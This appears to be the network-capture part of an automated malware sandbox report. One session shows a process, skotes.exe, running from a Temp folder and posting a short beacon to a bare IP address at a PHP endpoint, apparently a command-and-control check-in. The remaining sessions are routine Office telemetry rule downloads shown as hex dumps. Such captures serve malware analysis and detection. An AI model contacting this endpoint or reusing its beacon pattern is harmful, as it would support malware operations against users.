Dec 6, 2024 22:09:11.721561909 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49989	185.215.113.43	80	7000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:10:15.810271025 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 6, 2024 22:10:17.166702032 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 06 Dec 2024 21:10:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.7	49702	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:21 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:21 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:21 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Thu, 05 Dec 2024 15:18:57 GMT ETag: "0x8DD1540234F33E7" x-ms-request-id: c4b28cbf-a01e-0053-235f-478603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210821Z-1746fd949bd6zq92hC1EWRry4800000004rg00000000cay5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:21 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-12-06 21:08:21 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-12-06 21:08:21 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-12-06 21:08:21 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-12-06 21:08:22 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-12-06 21:08:22 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-12-06 21:08:22 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-12-06 21:08:22 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-12-06 21:08:22 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-12-06 21:08:22 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.7	49705	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:24 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:24 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:24 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: a36b2733-e01e-0051-6f03-4884b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210824Z-r1cf579d778d5zkmhC1EWRk6h800000000z00000000029ky x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:24 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.7	49706	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:24 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:24 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:24 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: c4831996-901e-0016-39ce-45efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210824Z-1746fd949bdjrnwqhC1EWRpg2800000004rg00000000t1s4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:24 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.7	49704	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:24 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:24 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:24 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 2b116ba0-201e-0051-0503-487340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210824Z-r1cf579d778zvkpnhC1EWRv23g00000000t000000000165g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:24 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.7	49703	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:24 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:24 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:24 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 3fcd35f4-e01e-0052-4b02-48d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210824Z-r1cf579d7782ctslhC1EWRfbrw00000000x0000000007p4w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:24 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.7	49707	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:24 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:24 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:24 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: b9950e54-401e-0015-4806-480e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210824Z-r1cf579d7782ctslhC1EWRfbrw00000000t000000000fk7v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:24 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.7	49708	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:26 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
